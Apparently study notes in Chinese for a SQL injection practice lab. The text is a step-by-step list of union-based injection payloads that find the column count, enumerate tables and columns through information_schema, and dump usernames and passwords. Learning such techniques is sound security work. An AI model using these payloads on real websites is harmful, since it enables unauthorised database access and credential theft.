有回显

  • 判断列数

    ?id=1 order by 3

  • 爆显示位

    ?id=-1 union select 1,2,3?id=-1 union select 1,user(),3?id=-1 union select 1,database(),3

  • 爆表的数量,等于4返回正确说明有4张表

    ?id=1 and (select count(*) from information_schema.tables where table_schema='security') =4 --+

  • 爆表

    ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

  • 爆列

    ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

  • 获取内容

    ?id=-1 union select 1,username,password from users --+